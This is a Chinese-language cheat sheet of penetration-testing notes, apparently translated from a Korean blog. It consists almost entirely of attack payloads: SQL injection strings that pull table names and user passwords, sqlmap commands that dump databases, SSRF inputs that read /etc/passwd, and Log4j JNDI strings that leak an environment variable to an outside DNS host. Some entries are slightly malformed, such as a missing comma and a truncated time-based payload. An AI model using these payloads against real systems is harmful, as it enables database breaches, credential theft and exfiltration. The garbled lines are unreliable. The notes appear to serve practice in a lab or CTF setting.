渗透测试实践 — SQL 注入

[ Error Based SQL Injection]

1. DB 名

' and db_name() > 1 -- -

' and db_name() > '1' -- -

2. Table 名

' having 1=1 -- -

=> 表名：members

=> 第一个列名：num

3. 列名

' group by (num) -- -

=> 第二个列名：user_id

' group by num,user_id -- -

=> 第三个列名：passwd

4. 数据提取

' or 1 in (select user_id from members) -- -

' or 1 in (select user_id from members where user_id not in ('要排除的提取值')) --

' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) -- -

[UNION BASED SQL INJECTION]

1. 列的数量

' UNION SELECT NULL,NULL,NULL -- -

1. SYSOBJECTS -> 表名：name

2. SYSCOLUMNS -> 列名：name

3. information_schema.tables -> 表名：table_name

4. information_schema.columns -> 表名：table_name，列名：column_name

2. 数据泄露

' union select 1,2,3,4,table_name from information_schema.tables -- -

' union select 1,2,3,4,column_name from information_schema.columns where table_name='members' -- -

' union select 1,2,3,user_id,passwd from members -- -

[BLIND BASED SQL INJECTION]

TRUE : admin' and 1=1 -- -

FALSE : admin' and 1=2 -- -

select * from address where addr='昌宁邑' and 1=1 -- - 一定为真

substring(), ascii(), char()

substring('admin', 1,1) => 'a'

substring('admin'2,3) => 'dmi'

select * from address where addr='昌宁邑' and 'a'=substring('admin',1,1) -- - True

select * from address where addr='昌宁邑' and 'a'<substring((SELECT top 1 table_name from information_schema.tables),1,1) -- -

2 AND CHAR(119)=SUBSTRING(database(), 1, 1) -> 为真时返回值

[TIME BASED SQL INJECTION]

'; if 1=1 wait

[SQLMAP]

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id --level =3 --dbs : 查看 Database 信息

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" --tables : 泄露 database 的 table

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" --columns : 查询 table 的 columns

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" -C "colum_name, column_name" --dump : 查询 colum_name 里所写列的值。

[HASHCAT]

hash-identifier : 用于确认是什么 hash 值的工具

hashcat : hash 破解工具

[SSRF]

http://localhost/

http://127.0.0.1/

file:///etc/passwd

http://0xa.0.0.100

http://10.100

http://0xa.0x00.0x00.0x1

http://0xa000064

http://167772260

[url:file:///flag]

[Log4j]

${jndi:dns://google.com/flag=${env:FLAG}}

${jndi:${env:FLAG}}

---

原文（韩语）: tistory — 发布于 2023-01-04，已迁移至本博客。本翻译由 AI 协助完成。